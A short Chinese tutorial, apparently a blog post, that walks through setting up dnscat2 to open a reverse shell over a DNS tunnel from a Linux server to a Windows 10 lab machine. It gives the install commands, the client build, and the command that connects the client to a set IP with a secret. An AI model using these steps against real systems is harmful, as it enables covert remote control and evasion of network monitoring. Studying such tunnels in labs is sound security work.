使用dnscat2 进行dns隧道反弹shell——直连模式linux对windows

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求

环境搭建

搭建服务端

git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/server/

gem install bundler

apt-get install ruby-dev

bundle install

过程会有点慢

开启服务端

ruby ./dnscat2.rb

搭建客户端

这里首先需要在Visual Studio 2008中打开一个解决方案:client\win32\dnscat2.vcproj。然后编译就会看到client\win32\Release下有一个dnscat2.exe文件了

将这个文件上传至win10靶机运行

开启客户端

dnscat2.exe --dns server=192.168.227.128,port=53 --secret=9d42a40bfeef7cf1f781326684d4d3e0

剩下的就和linux一样,进入隧道反弹shell,然后ctrl+z返回上一层

进入弹回来的shell

相关推荐
7yewh18 小时前
MCU 卷积神经网络部署 · 深度技术指南
linux·嵌入式硬件·ai·嵌入式
不知名。。。。。。。。18 小时前
仿muduo库实现高并发服务器---监听描述符Acceptor模块
运维·服务器
无垠的广袤18 小时前
【ChatECNU 大语言模型】基于 Linux 开发板的 OpenClaw 部署方案
linux·人工智能·语言模型
CDN36018 小时前
运维笔记|360CDN高防服务器部署教程,抗D+源站防护一站式配置
运维·服务器·笔记
YYYing.18 小时前
【Linux/C++多线程篇(二) 】给线程装上“红绿灯”:通俗易懂的同步互斥机制讲解 & C++ 11下的多线程
linux·c语言·c++·经验分享·ubuntu
vortex519 小时前
evil-winrm 与 evil-winrm-py 使用指南
网络安全·渗透测试·kali
德迅云安全杨德俊19 小时前
筑牢企业服务器防线:安全体系构建实操手册
网络·安全·web安全
小涛不学习19 小时前
Java List 集合深度解析(ArrayList / LinkedList 原理详解)
java·开发语言·windows
荆楚闲人19 小时前
ubuntu下实现自动以root用户开机无密码方式进入桌面
linux·运维·ubuntu